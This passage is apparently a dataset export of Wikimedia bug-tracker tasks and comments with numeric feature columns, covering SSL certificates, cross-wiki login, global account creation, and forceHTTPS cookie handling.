https://rt.wikimedia.org/Ticket/Display.html?id=5011",High,80.0,1378761000,1378768487.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-ycvdvmdfiqkvcznf7a7r,task_description,resolved,True,c2,3,True,False,True,1,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.311111111111111,0.6,"Mirroring RT #5011 in Bugzilla, for the sake of transparency.

URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
249629,Bugzilla to use its own SSL certificate,Merged.,,,1378768487,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ycvdvmdfiqkvcznf7a7r,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
55953,Re-SUL on javascript login,"To hopefully address the situation where users are reporting issues where they are logged in on some wikis, but not others, RobLa asked that we look into re-running the SUL logic after a user is logged in with the javascript ping.

--------------------------
**Version**: master
**Severity**: enhancement",High,80.0,1378748580,1379440890.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-a64u5tzlehgfoet5cwe6,task_description,resolved,True,c2,3,True,False,True,1,True,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,6.0,5.0,8.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,5.0,0.0,0.0,0.0,4.09375,0.75,"To hopefully address the situation where users are reporting issues where they are logged in on some wikis, but not others, RobLa asked that we look into re-running the SUL logic after a user is logged in with the javascript ping.

--------------------------
**Version**: master
**Severity**: enhancement"
249342,Re-SUL on javascript login,"Change 83655 merged by jenkins-bot:
Re-do edge login when JS login check succeeds

https://gerrit.wikimedia.org/r/83655",,,1379355727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.9047619047619048,"Change 83655 merged by jenkins-bot:
Re-do edge login when JS login check succeeds

GERRIT_URL"
249340,Re-SUL on javascript login,"Change 83655 had a related patch set uploaded by Anomie:
Re-do edge login when JS login check succeeds

https://gerrit.wikimedia.org/r/83655",,,1378831562,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9583333333333334,"Change 83655 had a related patch set uploaded by Anomie:
Re-do edge login when JS login check succeeds

GERRIT_URL"
249338,Re-SUL on javascript login,"Andre, not really.

Brad, it was more running the CentralAuthDoEdgeLogin process again, if the user was logged in from the javascript ping. The localStorage might be contributing to the problem, but if we just re-run the login, then (in theory) it shouldn't matter too much.",,,1378763738,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,True,,,1,True,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,15.0,12.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,7.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.9152542372881354,0.7627118644067796,"Andre, not really.

Brad, it was more running the CentralAuthDoEdgeLogin process again, if the user was logged in from the javascript ping. The localStorage might be contributing to the problem, but if we just re-run the login, then (in theory) it shouldn't matter too much."
249333,Re-SUL on javascript login,"For the records: Also brought up in http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/071718.html and https://de.wikipedia.org/w/index.php?title=Wikipedia:Fragen_zur_Wikipedia&oldid=122384791#Erneut_zum_Unified_Login

Wondering if the patch for bug 53536 could influence the problem. Likely not.",,,1378753695,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.888888888888889,0.8518518518518519,"For the records: Also brought up in URL and URL

Wondering if the patch for bug 53536 could influence the problem. Likely not."
249328,Re-SUL on javascript login,"Clarify, please? Is this asking to try to clear the localStorage already-checked-for-login-today ""cookie"" on say frwiki from the Special:CentralLogin/setCookies pixel loaded from enwiki?",,,1378751490,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,15.0,8.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.1,0.8,"Clarify, please? Is this asking to try to clear the localStorage already-checked-for-login-today ""cookie"" on say frwiki from the Special:CentralLogin/setCookies pixel loaded from enwiki?"
55905,Create global account on login/rename,"When a user gets renamed locally to a new name, under which no global account exists and no conflicts accounts exists, the global account should be created automatically.

Maybe this can also be checked on user login, than other (or the previous renamed) user accounts without a conflict can also benefit from this. Should be part of a automigration (wgCentralAuthAutoMigrate).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=14862",High,80.0,1378630560,1430851335.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-TASK-h4tu4j445kger6aygazx,task_description,declined,True,c2,3,False,False,False,1,True,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.171717171717172,0.5959595959595959,"When a user gets renamed locally to a new name, under which no global account exists and no conflicts accounts exists, the global account should be created automatically.

Maybe this can also be checked on user login, than other (or the previous renamed) user accounts without a conflict can also benefit from this. Should be part of a automigration (wgCentralAuthAutoMigrate).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
458067,Create global account on login/rename,"MarcoAurelio, why are you mass-changing priorities to ""High"", as in T55905#1261952? Did you run into a bug with drag and drop in phabricator workboards? If so, please report it; I thought it was filed already, but Phabricator search is too poor for me to find it even after 30 min of searching. :(",,,1431506795,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,True,,,89,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,11.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,11.0,17.0,3.0,3.0,3.0,0.0,11.0,0.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,3.769230769230769,0.8461538461538461,"MarcoAurelio, why are you mass-changing priorities to ""High"", as in T55905#1261952? Did you run into a bug with drag and drop in phabricator workboards? If so, please report it; I thought it was filed already, but Phabricator search is too poor for me to find it even after 30 min of searching. :("
454092,Create global account on login/rename,"I think this is not an issue anymore with global renames, as the global account is created when globally renaming an user. Feel free to reopen if you feel the problem still exist. Thanks.",,,1430851335,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,True,,,87,True,0.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,5.0,8.0,5.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,4.052631578947368,0.8421052631578947,"I think this is not an issue anymore with global renames, as the global account is created when globally renaming an user. Feel free to reopen if you feel the problem still exist. Thanks."
246758,Create global account on login/rename,"Change 102635 abandoned by Legoktm:
Autocreate global account after rename

Reason:
Not worth it at this point

https://gerrit.wikimedia.org/r/102635",,,1412924758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,False,,,58,True,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.541666666666667,0.875,"Change 102635 abandoned by Legoktm:
Autocreate global account after rename

Reason:
Not worth it at this point

GERRIT_URL"
246751,Create global account on login/rename,"Change 102635 had a related patch set uploaded by Legoktm:
Autocreate global account after rename

https://gerrit.wikimedia.org/r/102635",,,1387441864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.052631578947368,1.0,"Change 102635 had a related patch set uploaded by Legoktm:
Autocreate global account after rename

GERRIT_URL"
246743,Create global account on login/rename,"(In reply to comment #0)
> Maybe this can also be checked on user login, than other (or the previous
> renamed) user accounts without a conflict can also benefit from this. Should
> be
> part of a automigration (wgCentralAuthAutoMigrate).

According to the documentation of $wgCentralAuthAutoMigrate, this should already happen if it is enabled.",,,1387441778,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0588235294117645,0.7941176470588235,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

According to the documentation of $wgCentralAuthAutoMigrate, this should already happen if it is enabled."
55655,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"They should use own messages or we run into problems even in the source language, see e.g. Change-Id: I565971a90fc383327a51d717a80013cb7a3e9c9b

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1378045020,1390505545.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-4ttfpix6slf5mw6mouj7,task_description,resolved,True,c2,3,True,False,False,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,5.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.682926829268292,0.7560975609756098,"They should use own messages or we run into problems even in the source language, see e.g. Change-Id: I565971a90fc383327a51d717a80013cb7a3e9c9b

--------------------------
**Version**: 1.22.0
**Severity**: normal"
255875,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,Approved by Siebrand. Thanks!,,,1390505545,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c2,3,True,,,21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Approved by Siebrand. Thanks!
255868,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Change 108486 merged by jenkins-bot:
Remove `login-throttled` system message reuse

https://gerrit.wikimedia.org/r/108486",,,1390504385,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5625,1.0,"Change 108486 merged by jenkins-bot:
Remove CODE system message reuse

GERRIT_URL"
255863,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Change 108486 had a related patch set uploaded by Microchip08:
Remove `login-throttled` system message reuse

https://gerrit.wikimedia.org/r/108486",,,1390200070,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c2,3,False,,,20,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.947368421052632,1.0,"Change 108486 had a related patch set uploaded by Microchip08:
Remove CODE system message reuse

GERRIT_URL"
255858,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword.",,,1384864580,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c2,3,True,,,11,True,2.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,16.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,3.2244897959183674,0.8163265306122449,"Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword."
55538,Logged users redirected to HTTPS only on some wikis,"In the recent deployment of HTTPS the users who asked for being redirected to HTTPS are given global forceHTTPS cookies to be redirected to HTTPS on (theoretically) all wiki projects: Wikipedia, Wikisource, etc. In the current setup these global forceHTTPS cookies are set on global domains (.wikipedia.org, etc) but they are prefixed by the original wiki prefix (e.g. frwikiforceHTTPS) or by English-language prefixes (e.g. enwikisourceforceHTTPS), therefore the other language wikis are not redirected to HTTPS.

I guess that this is a bug since some languages (English) are redirected to HTTPS and the others are not, at least it is non-intuitive from a user point of view.

This bug is related to bug 53536 about the absence of removing of the global forceHTTPS cookies in the Wikimedia environment.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",High,80.0,1377786420,1378321358.0,PHID-USER-2nopae2cxuamwcbndaih,False,,False,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_description,resolved,True,c2,3,False,False,True,0,True,1.0,0.0,0.0,4.0,1.0,7.5,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,12.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.0,0.5,12.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.0,6.0,8.5,1.0,1.5,8.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.5,12.5,6.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.5,0.0,0.5,1.0,4.355787222667736,0.6416733493718257,"In the recent deployment of HTTPS the users who asked for being redirected to HTTPS are given global forceHTTPS cookies to be redirected to HTTPS on (theoretically) all wiki projects: Wikipedia, Wikisource, etc. In the current setup these global forceHTTPS cookies are set on global domains (.wikipedia.org, etc) but they are prefixed by the original wiki prefix (e.g. frwikiforceHTTPS) or by English-language prefixes (e.g. enwikisourceforceHTTPS), therefore the other language wikis are not redirected to HTTPS.

I guess that this is a bug since some languages (English) are redirected to HTTPS and the others are not, at least it is non-intuitive from a user point of view.

This bug is related to bug 53536 about the absence of removing of the global forceHTTPS cookies in the Wikimedia environment.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
248853,Logged users redirected to HTTPS only on some wikis,"The remaining fixes will be deployed with 1.22wmf16, so I think we can close the bug. If we need to deploy these sooner, we can schedule a time to backport and deploy the changes.",,,1378321358,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,8.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.8421052631578947,0.7894736842105263,"The remaining fixes will be deployed with 1.22wmf16, so I think we can close the bug. If we need to deploy these sooner, we can schedule a time to backport and deploy the changes."
248846,Logged users redirected to HTTPS only on some wikis,"(In reply to comment #10)
> Change 82065 merged by jenkins-bot:
> Also redirect if prefixed https cookie is preset

Is more work needed to fix this bug report? If so, what?",,,1378124527,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.857142857142857,0.8571428571428571,"(In reply to comment #10)
QUOTE
QUOTE

Is more work needed to fix this bug report? If so, what?"
248839,Logged users redirected to HTTPS only on some wikis,"Change 82065 merged by jenkins-bot:
Also redirect if prefixed https cookie is preset

